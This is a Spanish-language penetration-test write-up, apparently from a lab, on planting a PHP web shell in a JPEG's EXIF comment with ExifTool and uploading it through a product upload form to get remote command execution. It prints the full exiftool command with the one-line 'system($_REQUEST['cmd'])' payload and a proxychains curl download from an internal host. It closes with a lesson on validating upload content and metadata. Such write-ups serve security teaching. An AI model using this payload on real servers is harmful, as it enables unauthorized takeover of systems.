Subida de WebShell sobre metadatos de una imagen con ExifTool

Descargamos una imagen con una dimension de 200x200:

┌──(root㉿kali)-[/tmp]
└─# proxychains curl -A chrome http://172.16.1.6/System/Sistema/Productos/uploads/10.jpg -o spartancybersec.jpg         
[proxychains] config file found: /etc/proxychains4.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0[proxychains] Strict chain  ...  127.0.0.1:9050  ...  172.16.1.6:80  ...  OK
100  8147  100  8147    0     0  25898      0 --:--:-- --:--:-- --:--:-- 25945

Luego de descargar la imagen de 200x200 píxeles, se procede con añadir la WebShell como un comentario en los metadatos. Utilizamos una herramienta como ExifTool para agregar el código PHP en los metadatos de la imagen:

┌──(root㉿kali)-[/home/kali/Desktop/CPPJ]
└─# exiftool -comment='<?php system ($_REQUEST['cmd']);?>' spartancybersec.jpg 
    1 image files updated

Luego, subimos esta imagen al sistema a través del formulario de carga de productos:

Una vez que la imagen ha sido subida y almacenada en el servidor, podemos acceder a la WebShell enviando solicitudes al archivo de imagen y pasando comandos a través del parámetro cmd:

El servidor ejecutará el comando enviado y nos devolverá la respuesta, permitiéndonos controlar el servidor de forma remota.

Conclusión

Este ataque aprovecha una vulnerabilidad en el sistema de carga de archivos para insertar una WebShell. A través de la inspección del código de redimensionamiento de imágenes y la utilización de metadatos, logramos evitar la modificación de la imagen y mantener nuestra WebShell intacta. Este tipo de explotación demuestra la importancia de validar y sanitizar no solo el tipo de archivo subido, sino también su contenido y metadatos, para prevenir la ejecución de código malicioso en el servidor.

Last updated